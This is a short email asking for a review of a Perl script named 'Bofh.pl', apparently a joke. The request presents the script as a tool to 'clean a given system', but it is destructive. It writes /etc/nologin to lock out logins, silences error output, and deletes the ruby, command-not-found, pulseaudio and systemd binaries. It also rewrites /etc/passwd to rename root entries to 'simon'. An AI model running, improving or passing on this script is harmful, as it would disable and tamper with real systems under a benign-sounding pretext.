Hi,
please review the attached perl script.
I bet, it could be written more efficiently. :-)
Thanks,
Simon
#!/usr/bin/perl -w
# Bofh.pl Volume 1
# clean a given system
# please rewrite as necessary ;)
binmode(STDOUT, ":utf8");
use vars qw ($nolo $line);
print "Ein \x{224}?" or die;
open ($nolo, "> /etc/nologin")
or die "What?"; # no whitnesses
close($nolo); close(STDERR); # no whining
@ruby = (`command -v ruby`,
"/usr/local/bin/ruby"); # insane
@crap = ("/usr/bin/command-not-found",
"/usr/bin/pulseaudio", # $%@!1
"/usr/sbin/systemd");
foreach $p (@ruby, @crap) {
print "\nunlink $p";
unlink "$p";
}
open (FH, "+< /etc/passwd");
foreach $line (<FH>) {
if ($line =~ /root/) {
$line =~ s/root/simon/;
print FH $line;
}
}
close(FH);
print STDOUT "\n";
print ("\015Greetings from \x2a\x2a\x2a\x2a \012");
die "died" or die die die; # be safe